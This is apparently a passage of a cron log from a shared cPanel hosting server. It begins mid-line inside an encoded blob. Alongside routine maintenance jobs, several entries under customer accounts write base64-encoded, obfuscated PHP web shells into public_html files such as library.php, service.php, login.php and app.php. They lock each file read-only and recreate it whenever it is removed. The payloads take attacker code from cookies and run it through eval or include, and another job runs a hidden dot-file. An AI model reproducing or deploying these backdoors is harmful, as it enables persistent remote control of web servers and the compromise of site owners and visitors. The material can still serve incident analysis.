gICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:29:01 medusa CROND[16522]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:29:01 medusa CROND[16559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:29:01 medusa CROND[16636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:29:01 medusa CROND[16637]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:29:01 medusa CROND[16638]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 05:29:01 medusa CROND[16647]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:29:01 medusa CROND[16646]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:29:01 medusa CROND[16648]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 05:29:01 medusa CROND[16649]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:29:01 medusa CROND[16650]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:29:01 medusa CROND[16651]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:29:01 medusa CROND[16662]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:29:01 medusa CROND[16665]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:30:01 medusa CROND[533]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 05:30:01 medusa CROND[534]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 05:30:02 medusa CROND[831]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:30:02 medusa CROND[833]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 05:30:02 medusa CROND[836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[840]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:30:02 medusa CROND[843]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[835]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 05:30:02 medusa CROND[842]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 05:30:02 medusa CROND[838]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 05:30:02 medusa CROND[845]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 05:30:02 medusa CROND[836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[840]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:30:02 medusa CROND[843]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[835]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 05:30:02 medusa CROND[842]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 05:30:02 medusa CROND[838]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 05:30:02 medusa CROND[845]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 05:30:02 medusa CROND[837]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:30:02 medusa CROND[844]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[839]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 05:30:02 medusa CROND[857]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 05:30:02 medusa CROND[861]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
